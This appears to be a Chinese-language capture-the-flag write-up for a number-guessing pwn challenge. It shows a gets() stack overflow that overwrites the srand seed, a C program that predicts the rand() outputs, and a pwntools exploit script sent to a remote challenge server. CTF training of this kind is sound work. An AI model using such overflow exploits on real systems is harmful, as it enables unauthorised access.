题目描述
菜鸡在玩一个猜数字的游戏,但他无论如何都银不了,你能帮助他么
Solution
先检查文件信息:
该程序是 ELF64 文件,符号表被摘除,有金丝雀,栈不可执行,还是位置无关程序。运行程序,会要求输入一个名字和一个数字,数字不对则打印GG
退出。我们把文件放入 IDA 分析,先按 Shift + F12 看可打印字符串:
这个字符串或许对我们有帮助。双击进去,按 Ctrl + X 列出所有对该字符串的跨模块调用,跟进发现该函数调用了system("cat flag")
:
左键点亮函数名,按右键,选择 Jump to xref,发现是main()
函数在调用它:
rand()
函数产生的是伪随机数,依靠srand()
来产生随机数 如果srand()
的参数相同 那么rand()
产生的随机数相同。在本题中,随机数种子由int seed[2];
变量确定,题目中有gets()
函数,可以把栈上的input_name
变量溢出,进而修改seed
变量的值。
双击栈上的变量课查看大致的内存布局:
我们构造 payload 包含 32 个A
,然后再用aaaa
覆盖掉seed
。我们编写 C 程序看看aaaa
产生的随机数是多少:
#include <stdio.h>
#include <stdlib.h>
int main() {
int key;
srand(0x61616161);
for (int i = 0; i < 10; i += 1) {
key = rand() % 6 + 1;
printf("%d, ", key);
}
puts("\n");
return 0;
}
运行结果如下:
5, 6, 4, 6, 6, 2, 3, 6, 2, 2,
我们编写 Python 漏洞利用脚本:
from pwn import *
#conn = process('./003')
conn = remote('111.200.241.244', 58253)
your_name = 'aaaa'
payload = "A" * (32) + your_name
conn.sendlineafter("Your name:", payload)
num = ['5', '6', '4', '6', '6', '2', '3', '6', '2', '2']
for i in range(10):
conn.sendlineafter("number:", num[i])
print(conn.recv())
print(conn.recvall())
运行结果如下: